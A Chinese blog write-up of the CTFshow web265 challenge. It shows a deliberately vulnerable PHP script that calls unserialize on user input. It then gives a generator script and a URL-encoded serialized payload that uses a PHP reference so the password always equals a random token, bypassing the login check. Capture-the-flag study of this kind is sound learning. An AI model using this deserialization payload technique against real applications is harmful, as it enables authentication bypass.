首页 > 其他分享 >14. CTFshow 反序列化 web265

14. CTFshow 反序列化 web265

时间:2023-02-03 14:37:27浏览次数:50  
标签:序列化 14 web265 3A% token ctfshow password 随机

一、代码

<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){  # 4. 创建对象时调用
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;  # 3.1 password需要和token(随机md5)相等,返回真
    }
}

$ctfshow = unserialize($_GET['ctfshow']);  # 1. ctfshow需要传入序列化
$ctfshow->token=md5(mt_rand());  # 2. 随机md5值传入token

if($ctfshow->login()){  # 3. 判断login为真,输出flag
    echo $flag;
}

二、解题步骤

  1. 这里用到了浅拷贝的知识点。将随机的值在赋予其它变量。
  2. 需要思考的:如果想等于随机的值,只有随机本身才会相等。
  3. 在反序列化之前将password的值等于token。
  4. 为什么要加“&”符号,&符号代表的意思是引用赋值"

三、payload

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){ 
        
        $this->password = &$this->token;  //浅拷贝
    }
}
$user = new ctfshowAdmin();
echo urlencode(serialize($user));

//O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

image

标签:序列化,14,web265,3A%,token,ctfshow,password,随机
From: https://www.cnblogs.com/LuckMeteor/p/17089163.html

相关文章